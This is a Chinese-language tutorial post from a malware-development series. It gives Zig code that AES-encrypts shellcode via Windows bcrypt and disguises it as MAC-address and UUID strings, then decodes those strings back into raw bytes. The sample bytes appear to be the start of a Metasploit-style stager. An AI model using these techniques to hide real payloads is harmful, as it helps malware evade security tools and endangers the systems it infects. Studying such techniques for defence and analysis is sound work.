Day10 - 神出鬼沒的幻影綠鬣蜥:Payload 的加密與混淆(下)

Day10 - 神出鬼沒的幻影綠鬣蜥:Payload 的加密與混淆(下)
CX330走在時代前沿的前言
嗨大家,我 CX330。
我明天和後天都各還有一個死線,希望今天可以早點寫完,真可怕,果然還是要囤文章比較不會累死。
昨天已經介紹了 XOR、RC4 跟 IP 位址混淆,今天要來介紹 AES 加密、MAC 位址混淆和 UUID 混淆。如果還沒有看過上一篇的可以先去閱讀一下,那就讓我們開始吧!
疊甲
中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」
本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!
Zig 版本
本系列文章中使用的 Zig 版本號為 0.14.1。
AES 加密
我們在這邊會提供一種方式去實作,就是使用 Windows 的 bcrypt.h
API。
另外,礙於篇幅,我有使用另外兩種方式實作,會放在這邊。是利用 Zig 標準函式庫和 TinyAES 專案去實作,如果有興趣歡迎去閱讀按星星。
AES 分別根據金鑰長度的不同,分為 AES128、AES192 和 AES256。此外,它可以使用不同的區塊加密法工作模式,例如 ECB、CBC 等等,下面的範例都會使用 CBC 加密。
然後 AES 還會需要一個初始化向量(Initialization Vector, IV),提供 IV 將會給加密的過程提供額外的隨機性。
無論選擇哪種 AES 類型,AES 始終需要 128 位元的輸入並產生 128 位元的輸出塊。重要的是要記住,輸入資料應該是 16 位元組(128 位元)的倍數。如果被加密的負載不是 16 位元組的倍數,則需要填充以增加負載大小,使其成為 16 位元的倍數。
使用 bcrypt.h
定義 AES 結構體
const std = @import("std");
const win = std.os.windows;
const kernel32 = win.kernel32;
const KEY_SIZE = 32;
const IV_SIZE = 16;
const DWORD = u32;
const BOOL = i32;
const PBYTE = [*]u8;
const PVOID = ?*anyopaque;
const ULONG = u32;
const NTSTATUS = i32;
const BCRYPT_BLOCK_PADDING = 0x00000001;
const STATUS_SUCCESS: NTSTATUS = 0;
const BCRYPT_AES_ALGORITHM = std.unicode.utf8ToUtf16LeStringLiteral("AES");
const BCRYPT_CHAINING_MODE = std.unicode.utf8ToUtf16LeStringLiteral("ChainingMode");
const BCRYPT_CHAIN_MODE_CBC = std.unicode.utf8ToUtf16LeStringLiteral("ChainingModeCBC");
const AES = extern struct {
pPlainText: ?PBYTE,
dwPlainSize: DWORD,
pCipherText: ?PBYTE,
dwCipherSize: DWORD,
pKey: ?PBYTE,
pIv: ?PBYTE,
};
宣告 bcrypt.dll
匯出的外部函數
要先宣告 BCryptOpenAlgorithmProvider
,用來獲取 CNG(Windows Cryptography API: Next Generation)演算法提供者的句柄,這是使用任何加密算法的第一步。
extern "bcrypt" fn BCryptOpenAlgorithmProvider(
phAlgorithm: *?*anyopaque,
pszAlgId: [*:0]const u16,
pszImplementation: ?[*:0]const u16,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
再來要使用 BCryptCLoseAlgorithmProvider
來關閉使用 BCryptOpenAlgorithmProvider
開啟的演算法提供者的句柄。
extern "bcrypt" fn BCryptCloseAlgorithmProvider(
hAlgorithm: ?*anyopaque,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
下一個要宣告的是 BCryptGetProperty
,用來獲取 CNG 物件的屬性值。
extern "bcrypt" fn BCryptGetProperty(
hObject: ?*anyopaque,
pszProperty: [*:0]const u16,
pbOutput: PBYTE,
cbOutput: ULONG,
pcbResult: *ULONG,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
然後要設置 CNG 物件的屬性,所以要宣告 BCryptSetProperty
。
extern "bcrypt" fn BCryptSetProperty(
hObject: ?*anyopaque,
pszProperty: [*:0]const u16,
pbInput: PBYTE,
cbInput: ULONG,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
建立對稱式金鑰會用的 BCryptGenerateSymmetricKey
。
extern "bcrypt" fn BCryptGenerateSymmetricKey(
hAlgorithm: ?*anyopaque,
phKey: *?*anyopaque,
pbKeyObject: PBYTE,
cbKeyObject: ULONG,
pbSecret: PBYTE,
cbSecret: ULONG,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
要關閉金鑰句柄的函數 BCryptDestroyKey
。
extern "bcrypt" fn BCryptDestroyKey(hKey: ?*anyopaque) callconv(.C) NTSTATUS;
最後,就是加密函數 BCryptEncrypt
。
extern "bcrypt" fn BCryptEncrypt(
hKey: ?*anyopaque,
pbInput: [*]u8,
cbInput: ULONG,
pPaddingInfo: ?*anyopaque,
pbIV: [*]u8,
cbIV: ULONG,
pbOutput: ?[*]u8,
cbOutput: ULONG,
pcbResult: *ULONG,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
還有解密函數 BCryptDecrypt
。
extern "bcrypt" fn BCryptDecrypt(
hKey: ?*anyopaque,
pbInput: [*]u8,
cbInput: ULONG,
pPaddingInfo: ?*anyopaque,
pbIV: [*]u8,
cbIV: ULONG,
pbOutput: ?[*]u8,
cbOutput: ULONG,
pcbResult: *ULONG,
dwFlags: ULONG,
) callconv(.C) NTSTATUS;
加密
// Encryption
fn installAesEncryption(aes: *AES) bool {
var bSTATE: bool = true;
var hAlgorithm: ?*anyopaque = null;
var hKeyHandle: ?*anyopaque = null;
var cbResult: ULONG = 0;
var dwBlockSize: DWORD = 0;
var cbKeyObject: DWORD = 0;
var pbKeyObject: ?[*]u8 = null;
var pbCipherText: ?[*]u8 = null;
var cbCipherText: DWORD = 0;
var status: NTSTATUS = STATUS_SUCCESS;
blk: {
status = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, null, 0);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptGetProperty(
hAlgorithm,
std.unicode.utf8ToUtf16LeStringLiteral("ObjectLength"),
@ptrCast(&cbKeyObject),
@sizeOf(DWORD),
&cbResult,
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptGetProperty[1] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptGetProperty(
hAlgorithm,
std.unicode.utf8ToUtf16LeStringLiteral("BlockLength"),
@ptrCast(&dwBlockSize),
@sizeOf(DWORD),
&cbResult,
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptGetProperty[2] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
if (dwBlockSize != 16) {
bSTATE = false;
break :blk;
}
pbKeyObject = @ptrCast(kernel32.HeapAlloc(kernel32.GetProcessHeap().?, 0, cbKeyObject));
if (pbKeyObject == null) {
bSTATE = false;
break :blk;
}
status = BCryptSetProperty(
hAlgorithm,
BCRYPT_CHAINING_MODE,
@ptrCast(@constCast(BCRYPT_CHAIN_MODE_CBC.ptr)),
@sizeOf(@TypeOf(BCRYPT_CHAIN_MODE_CBC)),
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptSetProperty Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptGenerateSymmetricKey(
hAlgorithm,
&hKeyHandle,
pbKeyObject.?,
cbKeyObject,
aes.pKey.?,
KEY_SIZE,
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptGenerateSymmetricKey Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptEncrypt(
hKeyHandle,
aes.pPlainText.?,
aes.dwPlainSize,
null,
aes.pIv.?,
IV_SIZE,
null,
0,
&cbCipherText,
BCRYPT_BLOCK_PADDING,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptEncrypt[1] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
pbCipherText = @ptrCast(kernel32.HeapAlloc(kernel32.GetProcessHeap().?, 0, cbCipherText));
if (pbCipherText == null) {
bSTATE = false;
break :blk;
}
status = BCryptEncrypt(
hKeyHandle,
aes.pPlainText.?,
aes.dwPlainSize,
null,
aes.pIv.?,
IV_SIZE,
pbCipherText,
cbCipherText,
&cbResult,
BCRYPT_BLOCK_PADDING,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptEncrypt[2] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
}
if (hKeyHandle != null) _ = BCryptDestroyKey(hKeyHandle);
if (hAlgorithm != null) _ = BCryptCloseAlgorithmProvider(hAlgorithm, 0);
if (pbKeyObject != null) _ = kernel32.HeapFree(kernel32.GetProcessHeap().?, 0, pbKeyObject.?);
if (pbCipherText != null and bSTATE) {
aes.pCipherText = pbCipherText;
aes.dwCipherSize = cbCipherText;
}
return bSTATE;
}
這個函數在做的事情如下:
- 先取得 AES 加密算法提供者句柄
hAlgorithm
- 取得金鑰物件的大小
ObjectLength
- 取得每個加密塊的大小
BlockLength
- 分配
pbKeyObject
- 接著用
BCryptSetProperty
設定 CBC 模式 - 用
BCryptGenerateSymmetricKey
建立對稱式金鑰的 Handle - 兩階段呼叫
BCryptEncrypt
- 第一次呼叫傳入
pbCipherText = null
和cbCipherText = 0
,用來取得所需的輸出長度(回填cbCipherText
) - 依
cbCipherText
分配pbCipherText
,第二次呼叫把實際密文寫入分配的緩衝。傳入BCRYPT_BLOCK_PADDING
讓 CNG 自行做 PKCS#7 padding
- 第一次呼叫傳入
- 如果成功,把
pbCipherText
與長度放到aes
結構給呼叫者 - 最後銷毀 key handle、關閉 provider、釋放臨時緩衝。
移除 Padding
// Remove PKCS#7 padding from decrypted data
fn removePkcs7Padding(data: []u8) ?[]u8 {
if (data.len == 0) return null;
const padding_length = data[data.len - 1];
// Validate padding length
if (padding_length == 0 or padding_length > 16 or padding_length > data.len) {
return null;
}
// Validate all padding bytes are the same
const start_index = data.len - padding_length;
for (data[start_index..]) |byte| {
if (byte != padding_length) {
return null;
}
}
return data[0..start_index];
}
解密
// Decryption
fn installAesDecryption(aes: *AES) bool {
var bSTATE: bool = true;
var hAlgorithm: ?*anyopaque = null;
var hKeyHandle: ?*anyopaque = null;
var cbResult: ULONG = 0;
var dwBlockSize: DWORD = 0;
var cbKeyObject: DWORD = 0;
var pbKeyObject: ?[*]u8 = null;
var pbPlainText: ?[*]u8 = null;
var cbPlainText: DWORD = 0;
var status: NTSTATUS = STATUS_SUCCESS;
blk: {
status = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, null, 0);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptOpenAlgorithmProvider Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptGetProperty(
hAlgorithm,
std.unicode.utf8ToUtf16LeStringLiteral("ObjectLength"),
@ptrCast(&cbKeyObject),
@sizeOf(DWORD),
&cbResult,
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptGetProperty[1] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptGetProperty(
hAlgorithm,
std.unicode.utf8ToUtf16LeStringLiteral("BlockLength"),
@ptrCast(&dwBlockSize),
@sizeOf(DWORD),
&cbResult,
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptGetProperty[2] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
if (dwBlockSize != 16) {
bSTATE = false;
break :blk;
}
pbKeyObject = @ptrCast(kernel32.HeapAlloc(kernel32.GetProcessHeap().?, 0, cbKeyObject));
if (pbKeyObject == null) {
bSTATE = false;
break :blk;
}
status = BCryptSetProperty(
hAlgorithm,
BCRYPT_CHAINING_MODE,
@ptrCast(@constCast(BCRYPT_CHAIN_MODE_CBC.ptr)),
@sizeOf(@TypeOf(BCRYPT_CHAIN_MODE_CBC)),
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptSetProperty Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptGenerateSymmetricKey(
hAlgorithm,
&hKeyHandle,
pbKeyObject.?,
cbKeyObject,
aes.pKey.?,
KEY_SIZE,
0,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptGenerateSymmetricKey Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
status = BCryptDecrypt(
hKeyHandle,
aes.pCipherText.?,
aes.dwCipherSize,
null,
aes.pIv.?,
IV_SIZE,
null,
0,
&cbPlainText,
BCRYPT_BLOCK_PADDING,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptDecrypt[1] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
pbPlainText = @ptrCast(kernel32.HeapAlloc(kernel32.GetProcessHeap().?, 0, cbPlainText));
if (pbPlainText == null) {
bSTATE = false;
break :blk;
}
status = BCryptDecrypt(
hKeyHandle,
aes.pCipherText.?,
aes.dwCipherSize,
null,
aes.pIv.?,
IV_SIZE,
pbPlainText,
cbPlainText,
&cbResult,
BCRYPT_BLOCK_PADDING,
);
if (!ntSuccess(status)) {
std.debug.print("[!] BCryptDecrypt[2] Failed With Error: 0x{X:0>8}\n", .{status});
bSTATE = false;
break :blk;
}
// Remove PKCS#7 padding after successful decryption
if (pbPlainText != null and cbResult > 0) {
const decrypted_data = pbPlainText.?[0..cbResult];
if (removePkcs7Padding(decrypted_data)) |unpadded| {
cbResult = @intCast(unpadded.len);
}
}
}
if (hKeyHandle != null) _ = BCryptDestroyKey(hKeyHandle);
if (hAlgorithm != null) _ = BCryptCloseAlgorithmProvider(hAlgorithm, 0);
if (pbKeyObject != null) _ = kernel32.HeapFree(kernel32.GetProcessHeap().?, 0, pbKeyObject.?);
if (pbPlainText != null and bSTATE) {
aes.pPlainText = pbPlainText;
aes.dwPlainSize = cbResult; // Use the adjusted size after padding removal
}
return bSTATE;
}
這個函式在做這些事:
- 一樣先開啟 Provider 的句柄
- 讀取
ObjectLength
- 分配
pbKeyObject
- 設定 CBC 模式
- 產生 Key 句柄
- 像加密時一樣,兩階段呼叫
BCryptDecrypt
- 呼叫
removePkcs7Padding
驗證並計算真正的明文長度 - 清理句柄,若成功把
pbPlainText
與新長度放進aes
結構
MAC 地址混淆
這部分我們會把 Payload 轉換成類似 MAC 地址的形式,像是 AA-BB-CC-DD-EE-FF
的形式。因為 MAC 地址是由 6 個位元組組成的,所以 Payload 需要是 6 的倍數,如果不是的話可以寫個函數去增加填充。
混淆
先來看看程式碼。
const std = @import("std");
/// Generates a MAC address string from 6 raw bytes
fn generateMAC(a: u8, b: u8, c: u8, d: u8, e: u8, f: u8, buffer: []u8) []const u8 {
// Format the 6 bytes as a MAC address string (XX-XX-XX-XX-XX-XX)
return std.fmt.bufPrint(buffer, "{X:0>2}-{X:0>2}-{X:0>2}-{X:0>2}-{X:0>2}-{X:0>2}", .{
a, b, c, d, e, f,
}) catch unreachable;
}
/// Generate the MAC output representation of the shellcode
fn generateMacOutput(pShellcode: []const u8, writer: anytype) !bool {
const shellcodeSize = pShellcode.len;
// If the shellcode buffer is empty or the size is not a multiple of 6, exit
if (shellcodeSize == 0 or shellcodeSize % 6 != 0) {
return false;
}
try writer.print("const mac_array = [_][*:0]const u8{{\n\t", .{});
// Buffer to hold the MAC address string (XX-XX-XX-XX-XX-XX = 17 chars + null)
var macBuffer: [32]u8 = undefined;
var counter: usize = 0;
// Process the shellcode in groups of 6 bytes
var i: usize = 0;
while (i < shellcodeSize) {
// Generate a MAC address from the current 6 bytes
const mac = generateMAC(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5], &macBuffer);
counter += 1;
// Print the MAC address
if (i == shellcodeSize - 6) {
// Last MAC address
try writer.print("\"{s}\"", .{mac});
} else {
// Not the last one, add comma
try writer.print("\"{s}\", ", .{mac});
}
// Move to the next group of 6 bytes
i += 6;
// Add a newline for formatting after every 6 MAC addresses
if (counter % 6 == 0 and i < shellcodeSize) {
try writer.print("\n\t", .{});
}
}
try writer.print("\n}};\n\n", .{});
return true;
}
pub fn main() !void {
// Example shellcode (must be a multiple of 6 bytes)
const shellcode = [_]u8{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, // 1st MAC
0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, // 2nd MAC
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, // 3rd MAC
0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, // 4th MAC
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, // 5th MAC
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, // 6th MAC
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, // 7th MAC
};
// Use stdout as the writer
const stdout = std.io.getStdOut().writer();
std.debug.print("[+] Generating MAC address representation for {} bytes of shellcode\n", .{shellcode.len});
// Generate and print the MAC address representation
if (try generateMacOutput(&shellcode, stdout)) {} else {
std.debug.print("[!] Failed to generate MAC address representation\n", .{});
}
}
和昨天的部分一樣,混淆的部分主要是在 generateMAC
這個函數,它會接收 7 個參數,分別是 Payload 的 6 個字元和 1 個緩衝區。接著使用 std.fmt.bufPrint
去把格式化成 MAC 地址的字串放進緩衝區。
解混淆
解混淆的時候我們會去動態從 ntdll.dll
載入 RtlEthernetStringToAddressA
這個函數,這個函數就是會幫我們把 MAC 地址轉回 Raw bytes 並放回緩衝去,也就完成了解混淆的工作。
const std = @import("std");
const win = std.os.windows;
const kernel32 = win.kernel32;
const NTSTATUS = win.NTSTATUS;
const PCSTR = [*:0]const u8;
const PVOID = ?*anyopaque;
const PBYTE = [*]u8;
const SIZE_T = usize;
// Define function pointer type for RtlEthernetStringToAddressA
const fnRtlEthernetStringToAddressA = fn (
S: PCSTR,
Terminator: *PCSTR,
Addr: PVOID,
) callconv(win.WINAPI) NTSTATUS;
/// Deobfuscates an array of MAC addresses into a byte buffer
pub fn macDeobfuscation(
macArray: []const [*:0]const u8,
allocator: std.mem.Allocator,
) !struct { buffer: []u8, size: SIZE_T } {
// Create a UTF-16 string for "NTDLL"
const ntdll_w: [*:0]const u16 = std.unicode.utf8ToUtf16LeStringLiteral("NTDLL");
// Load the NTDLL library using wide string
const ntdll_module = kernel32.GetModuleHandleW(ntdll_w);
if (ntdll_module == null) {
std.debug.print("[!] GetModuleHandle Failed With Error : {}\n", .{kernel32.GetLastError()});
return error.GetModuleHandleFailed;
}
// Get the address of RtlEthernetStringToAddressA function
const rtlEthernetStringToAddressA_ptr = kernel32.GetProcAddress(ntdll_module.?, "RtlEthernetStringToAddressA");
if (rtlEthernetStringToAddressA_ptr == null) {
std.debug.print("[!] GetProcAddress Failed With Error : {}\n", .{kernel32.GetLastError()});
return error.GetProcAddressFailed;
}
// Cast the function pointer to the correct type
const rtlEthernetStringToAddressA: *const fnRtlEthernetStringToAddressA = @ptrCast(rtlEthernetStringToAddressA_ptr);
// Calculate the size of the buffer needed (number of MAC addresses * 6 bytes each)
const bufferSize = macArray.len * 6; // MAC addresses are 6 bytes each
// Allocate memory for the deobfuscated shellcode
const buffer = try allocator.alloc(u8, bufferSize);
errdefer allocator.free(buffer);
// Using a raw pointer to keep track of our current position
var tmpBuffer: [*]u8 = buffer.ptr;
// Deobfuscate each MAC address
for (macArray) |macAddress| {
var terminator: PCSTR = undefined;
// Convert the MAC address string to bytes
const status = rtlEthernetStringToAddressA(macAddress, &terminator, tmpBuffer);
// Check if the status is not SUCCESS (0)
if (status != NTSTATUS.SUCCESS) {
std.debug.print("[!] RtlEthernetStringToAddressA Failed At [{s}] With Error 0x{X:0>8}\n", .{ macAddress, @intFromEnum(status) });
return error.RtlEthernetStringToAddressFailed;
}
// Increment tmpBuffer by 6 bytes for the next address
tmpBuffer = @as([*]u8, @ptrFromInt(@intFromPtr(tmpBuffer) + 6));
}
return .{ .buffer = buffer, .size = bufferSize };
}
pub fn main() !void {
// Setup allocator
var arena = std.heap.ArenaAllocator.init(std.heap.page_allocator);
defer arena.deinit();
const allocator = arena.allocator();
// Example array of MAC addresses (shellcode encoded as MAC)
const mac_array = [_][*:0]const u8{ "FC-48-83-E4-F0-E8", "C0-00-00-00-41-51", "41-50-52-51-56-48", "31-D2-65-48-8B-52", "60-48-8B-52-18-48", "8B-52-20-48-8B-72", "50-48-0F-B7-4A-4A" };
std.debug.print("[+] Attempting to deobfuscate {} MAC addresses\n", .{mac_array.len});
// Call the deobfuscation function
const result = try macDeobfuscation(&mac_array, allocator);
defer allocator.free(result.buffer);
std.debug.print("[+] Successfully deobfuscated shellcode\n", .{});
std.debug.print("[+] Buffer size: {} bytes\n", .{result.size});
// Print all bytes
std.debug.print("[+] Deobfuscated bytes: ", .{});
for (result.buffer) |byte| {
std.debug.print("{X:0>2} ", .{byte});
}
std.debug.print("\n", .{});
}
UUID 混淆
和之前的差不多,會把 Payload 轉乘 UUID 的形式。我們先來看一下 UUID 長什麼樣子。
不過 UUID 混淆會比起以往的還要再複雜一點,例如 FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51
不會被轉換為 FC4883E4-F0E8-C000-0000-415141505251
,而是會被轉換成 E48348FC-E8F0-00C0-0000-415141505251
。
這其中的規則在於,前面的三段會是由小端序(Little endian)組成的,而後兩段是由大端序(Big endian)組成的。
混淆
那我們來看一下程式碼。
const std = @import("std");
/// Generates a UUID string from 16 raw bytes
fn generateUuid(a: u8, b: u8, c: u8, d: u8, e: u8, f: u8, g: u8, h: u8, i: u8, j: u8, k: u8, l: u8, m: u8, n: u8, o: u8, p: u8, buffer: []u8) ![]const u8 {
// In Zig, we can directly format the entire UUID in one go instead of
// creating intermediate segments as in the C version
return try std.fmt.bufPrint(buffer, "{X:0>2}{X:0>2}{X:0>2}{X:0>2}-{X:0>2}{X:0>2}-{X:0>2}{X:0>2}-{X:0>2}{X:0>2}-{X:0>2}{X:0>2}{X:0>2}{X:0>2}{X:0>2}{X:0>2}", .{ d, c, b, a, f, e, h, g, i, j, k, l, m, n, o, p });
}
/// Generate the UUID output representation of the shellcode
fn generateUuidOutput(pShellcode: []const u8, writer: anytype) !bool {
const shellcodeSize = pShellcode.len;
// If the shellcode buffer is empty or the size is not a multiple of 16, exit
if (shellcodeSize == 0 or shellcodeSize % 16 != 0) {
return false;
}
try writer.print("const uuid_array = [_][*:0]const u8{{\n\t", .{});
// Buffer to hold the UUID string (36 chars + null terminator)
var uuidBuffer: [40]u8 = undefined;
// Process the shellcode in groups of 16 bytes
var counter: usize = 0;
var i: usize = 0;
while (i < shellcodeSize) {
// Make sure we have 16 bytes available
if (i + 15 >= shellcodeSize) break;
counter += 1;
// Generate the UUID from the current 16 bytes
const uuid = try generateUuid(pShellcode[i], pShellcode[i + 1], pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i + 5], pShellcode[i + 6], pShellcode[i + 7], pShellcode[i + 8], pShellcode[i + 9], pShellcode[i + 10], pShellcode[i + 11], pShellcode[i + 12], pShellcode[i + 13], pShellcode[i + 14], pShellcode[i + 15], &uuidBuffer);
// Print the UUID
if (i == shellcodeSize - 16) {
// Last UUID
try writer.print("\"{s}\"", .{uuid});
} else {
// Not the last one, add comma
try writer.print("\"{s}\", ", .{uuid});
}
// Move to next group of 16 bytes
i += 16;
// Add a newline for formatting after every 3 UUIDs
if (counter % 3 == 0 and i < shellcodeSize) {
try writer.print("\n\t", .{});
}
}
try writer.print("\n}};\n\n", .{});
return true;
}
pub fn main() !void {
// Example shellcode (must be a multiple of 16 bytes)
const shellcode = [_]u8{
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, // Add more shellcode here if needed
};
// Use stdout as the writer
const stdout = std.io.getStdOut().writer();
std.debug.print("[+] Generating UUID representation for {} bytes of shellcode\n", .{shellcode.len});
// Generate and print the UUID representation
if (try generateUuidOutput(&shellcode, stdout)) {} else {
std.debug.print("[!] Failed to generate UUID representation\n", .{});
}
}
注意 generateUuid
這個函數的 bufPrint
裡面的格式化字符串並不是從 a
到 p
照順序排列,這就是因為剛剛提到的端序的問題。
解混淆
要解混淆,我們會動態的從 rpcrt4.dll
載入 UuidFromStringA
這個函數,雖然 UUID 的不同的段有不同的端序,但是 UuidFromStringA
這個 Windows API 會幫我們處理這些問題。
const std = @import("std");
const windows = std.os.windows;
const WINAPI = windows.WINAPI;
// Type definitions
const RPC_STATUS = u32;
const RPC_CSTR = [*:0]const u8;
const UUID = extern struct {
data1: u32,
data2: u16,
data3: u16,
data4: [8]u8,
};
const RPC_S_OK: RPC_STATUS = 0;
// Function pointer type for UuidFromStringA
const UuidFromStringAFn = *const fn (RPC_CSTR, *UUID) callconv(WINAPI) RPC_STATUS;
// External function declarations
extern "kernel32" fn GetProcAddress(hModule: windows.HMODULE, lpProcName: [*:0]const u8) callconv(WINAPI) ?windows.FARPROC;
extern "kernel32" fn LoadLibraryA(lpLibFileName: [*:0]const u8) callconv(WINAPI) ?windows.HMODULE;
extern "kernel32" fn GetProcessHeap() callconv(WINAPI) windows.HANDLE;
extern "kernel32" fn HeapAlloc(hHeap: windows.HANDLE, dwFlags: windows.DWORD, dwBytes: usize) callconv(WINAPI) ?*anyopaque;
extern "kernel32" fn HeapFree(hHeap: windows.HANDLE, dwFlags: windows.DWORD, lpMem: ?*anyopaque) callconv(WINAPI) windows.BOOL;
extern "kernel32" fn GetLastError() callconv(WINAPI) windows.DWORD;
const HEAP_ZERO_MEMORY: windows.DWORD = 0x00000008;
pub fn uuidDeobfuscation(
uuid_array: []const [*:0]const u8,
pp_d_address: *?[*]u8,
p_d_size: *usize,
) bool {
// Getting UuidFromStringA address from Rpcrt4.dll
const rpcrt4_handle = LoadLibraryA("RPCRT4") orelse {
std.debug.print("[!] LoadLibrary Failed With Error : {}\n", .{GetLastError()});
return false;
};
const proc_addr = GetProcAddress(rpcrt4_handle, "UuidFromStringA") orelse {
std.debug.print("[!] GetProcAddress Failed With Error : {}\n", .{GetLastError()});
return false;
};
const uuid_from_string_a: UuidFromStringAFn = @ptrCast(proc_addr);
// Getting the real size of the shellcode which is the number of UUID strings * 16
const buff_size = uuid_array.len * 16;
// Allocating memory which will hold the deobfuscated shellcode
const buffer_ptr = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, buff_size) orelse {
std.debug.print("[!] HeapAlloc Failed With Error : {}\n", .{GetLastError()});
return false;
};
const buffer: [*]u8 = @ptrCast(buffer_ptr);
var tmp_buffer: [*]u8 = buffer;
// Loop through all the UUID strings saved in uuid_array
for (uuid_array, 0..) |uuid_string, i| {
// Deobfuscating one UUID string at a time
_ = i; // Suppress unused variable warning
const status = uuid_from_string_a(uuid_string, @ptrCast(@alignCast(tmp_buffer)));
if (status != RPC_S_OK) {
std.debug.print("[!] UuidFromStringA Failed At [{s}] With Error 0x{X:0>8}\n", .{ uuid_string, status });
return false;
}
// 16 bytes are written to tmp_buffer at a time
// Therefore tmp_buffer will be incremented by 16 to store the upcoming 16 bytes
tmp_buffer += 16;
}
pp_d_address.* = buffer;
p_d_size.* = buff_size;
return true;
}
// Example usage
pub fn main() !void {
// Example UUID array (you would replace this with actual UUIDs)
const uuid_array = [_][*:0]const u8{"E48348FC-E8F0-00C0-0000-415141505251"};
var deobfuscated_data: ?[*]u8 = null;
var data_size: usize = 0;
if (uuidDeobfuscation(uuid_array[0..], &deobfuscated_data, &data_size)) {
std.debug.print("[+] Deobfuscation successful! Size: {} bytes\n", .{data_size});
// Use the deobfuscated data here
if (deobfuscated_data) |data| {
// Example: print first few bytes
for (0..@min(data_size, 32)) |i| {
std.debug.print("{X:0>2} ", .{data[i]});
}
std.debug.print("\n", .{}); // Fixed: empty tuple instead of empty braces
// Free allocated memory
_ = HeapFree(GetProcessHeap(), 0, data);
}
} else {
std.debug.print("[!] Deobfuscation failed!\n", .{}); // Fixed: empty tuple instead of empty braces
}
}
鐵人賽期 PoPoo,你今天轉 Po 了嗎?
好啦終於結束了,我要趕快去趕另一個 Deadline 了,累死累死。是說真的莫名其妙就來到了第十天了,有點小感動自己能撐到現在,也十分感謝閱讀到這邊的大家!
如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!